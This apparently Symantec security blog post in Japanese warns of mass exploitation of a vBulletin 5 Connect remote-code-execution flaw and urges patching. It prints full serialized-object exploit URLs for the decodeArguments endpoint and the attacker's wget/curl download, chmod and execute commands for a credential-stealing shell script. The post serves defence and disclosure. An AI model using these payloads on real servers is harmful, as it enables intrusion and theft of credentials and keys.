Endpoint Protection

 View Only

脆弱な vBulletin が稼働しているサーバーをさかんに探っているサイバー犯罪者に備え、今すぐパッチの適用を! 

Nov 17, 2015 02:40 AM

Header-image02b.jpg

先日、あるハッカーが vBulletin に存在する脆弱性を悪用して多数の Web サイトに侵入したという声明を発表しました。vBulletin は、PHP Web サーバー上で稼働するフォーラムおよびコミュニティソフトウェアプラットフォームとして広く利用されています。vBulletin Solutions, Inc. の Web サイトによると、vBulletin は 40,000 を超えるオンラインコミュニティで利用されており、そのユーザーリストには多くの大手企業も名を連ねているということです。この攻撃に関する最初の声明に続いて、11 月 3 日には、この脆弱性を突くリモートコード実行(RCE)の悪用コードが別の個人によってオンラインで公開されました。しかも、この脆弱性は vBulletin に 3 年も前から存在していたという主張のおまけ付きです。

脆弱性の悪用
この脆弱性の影響を受けるのは、vBulletin 5 Connect(バージョン 5.1.4、5.1.5、5.1.6、5.1.7、5.1.8、5.1.9)です。11 月 2 日の月曜日、vBulletin Solutions はこの問題に対処するセキュリティパッチをリリースしました。悪用に成功すると、攻撃者は脆弱なサーバーでリモートコードを実行できます。vBulletin の悪用が明らかになった直後に、脆弱なソフトウェアが稼働しているサーバーをスキャンして悪用しようと試みる攻撃が、1 日当たり 2,500 件も発生していたことをシマンテックは確認しました。

graph_vbulletin.png
図 1. 脆弱な vBulletin ソフトウェアが稼働しているサーバーを検索して悪用しようと試みる攻撃の件数

RCE 悪用コードは配備が比較的簡単で、HTTP 要求を 1 つ実行するだけです。攻撃者がこれをどう悪用するのかを調べてみることにしましょう。

シマンテックの遠隔測定によると、攻撃者は脆弱な vBulletin ソフトウェアが稼働しているサーバーをスキャンするために、よく使われる phpinfo() 関数を使うか、任意の値の MD5 を出力しているようです。これは、悪用の標的にする脆弱な Web サーバーを特定するための大量偵察スキャンにすぎないと考えられます。攻撃者は、脆弱なサーバーの判定に、次のいずれかの要求を使っています。

  • http://[REMOVED]/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:20:"print_r(md5(233333))";}
  • http://[REMOVED]/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:7:"phpinfo";}}s:12:"*recordset";i:1;}

1 番目の要求では、狙ったサーバーが脆弱であれば、サーバーから送信される応答で 233333 という MD5 ハッシュが出力されます。

2 番目はこれの変種で、攻撃者は phpinfo() 関数の実行を試行したうえで、応答にこの関数の出力があるかどうかを待ちます。見つかれば、サーバーが脆弱ということになります。

システム管理者は、要求の時刻とパッチ適用の時刻を比較して、Web アクセスログで見つかったこのような URL を攻撃指標(IoA)または潜在的な侵害指標(IoC)として利用できます。

脆弱な Web サーバーが見つかると、攻撃者はシステムに侵入し、そこから管理ユーザーの資格情報などのデータを盗み出す手段をとれるようになり、さらには管理者権限も取得しようとします。これは、多目的の悪質なシェルスクリプト(filesender1.sh)を侵入先のサーバーにダウンロードしてから実行すればすべて完了です。

攻撃者は、上に示したように decodeArguments 関数にアクセスし、PHP の system() 関数呼び出しをそれに渡すことで、これを達成できます。PHP の system 関数は強力ですが、Web サーバーのコンテキスト外のアプリケーションを PHP ページで実行できてしまうという危険性もあります。system 関数を使うと、たとえばファイルのダウンロードや削除など、ほぼどんな機能へのアクセスも許してしまうシェルコマンドを実行できます。

  • system("wget -O /tmp/.e.sh —no-check-certificate https:// [REMOVED]/filesender1.sh || curl -k -o /tmp/.e.sh https://[REMOVED]/filesender1.sh")

ここでは、wget または curl を使って攻撃者が指定した URL から悪質なスクリプトをダウンロードしたうえで、そのスクリプトを /tmp/ directory に配置するようサーバーに指示するコマンドを発行しています。

次に攻撃者は、後続のコマンドを発行してファイルの権限を変更し、chmod コマンドで実行できるようにします。

  • system("chmod 777 /tmp/.e.sh")

最後に、ファイルを実行する次のコマンドが送信されます。

  • system("/tmp/.e.sh")

攻撃者の目的
侵入先のサーバーにダウンロードされて実行される悪質なスクリプトは、あらかじめ定義された 130 のファイルとフォルダのリストを検索して、できるだけ多くの情報を盗み出そうとします。

Fig2_0.png
図 2. 重要な情報を狙って検索されるファイルとフォルダの定義リストの一部

スクリプトには、侵入先のサーバーで実行できる 68 種類のコマンドのリストも含まれています。ホスト名、ドメイン名、カーネルのバージョンといったシステム情報を収集するコマンドや、インストールされているサービスとパッケージをリストするコマンド、ネットワーク構成をチェックするコマンドなどです。スクリプトは、そのほかにもサーバー上の重要な情報、たとえばユーザーのログイン情報や SSH 秘密鍵なども検索できます。

Fig3.png
図 3. 侵入先のサーバーで実行できるコマンドの一部

また、この悪質なスクリプトには、root のみのディレクトリに書き込みを試みることによって、現在のプロセスの権限を確かめる機能もあります。

Fig4.png
図 4. 悪質なスクリプトは、侵入先のサーバーで現在のプロセスの権限も確かめることができる

悪質なスクリプトによって収集された情報はすべて、圧縮されて攻撃者の元に送り返されます。

これらのサーバーが侵入される理由
ユーザーの多いオンラインフォーラムのサーバーに侵入すれば、攻撃者はそこからさらに多くの攻撃をしかけられる可能性があります。そのシステムは、かなりのトラフィック量で多数のユーザーにサービスを提供している場合が多いからです。サイバー犯罪者は、こうして侵入した Web サーバーを使って Web サイトにワナをしかけ、何も知らずにそのサイトにアクセスしてくるユーザーにマルウェアを送り込ませます。侵入先のサーバーを他の犯罪者に売ったり貸し出したりする行為も、サイバー犯罪者の収益源として一般的です。選択した標的に対する分散サービス拒否(DDos)攻撃を実行するために乗っ取ったサーバーを売買する市場さえ存在します。サーバーは利用可能な帯域幅を広く確保していることが多いので、DDoS 攻撃を意図する攻撃者にとっては価値が高く、アンダーグラウンドの市場でも貴重な商品になっているのです。

対処方法
影響を受けるソフトウェア(vBulletin 5 Connect バージョン 5.1.4、5.1.5、5.1.6、5.1.7、5.1.8、5.1.9)を利用しているフォーラムはいずれも、この攻撃に対して脆弱です。vBulletin をインストールしている管理者は、最新の vBulletin Connect ソフトウェアパッケージアップデートを、できるだけ速やかにインストールしてください。

PHP サーバーインストール環境の保護に関する OWASP の早見表を参照し、そこに記載されているベストプラクティスを実行するのも有効です。

そのほか、管理者は安全のために以下のベストプラクティスにも従うことをお勧めします。

  • セキュリティソフトウェアを含め、他のソフトウェアもすべて最新の状態に保つ。
  • 重要なデータは必ず頻繁に、かつ何重かでバックアップを作成する。
  • ログを監視し、脅威が見つかった場合にはただちに対処する。
  • パスワードはけっして平文で保存しない。

保護対策
シマンテック製品とノートン製品には、この攻撃に対して次の検出定義が用意されています。

IPS

ウイルス対策

* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。

【参考訳】

Statistics
0 Favorited
0 Views
0 Files
0 Shares
0 Downloads

Tags and Keywords

Related Entries and Links

No Related Resource entered.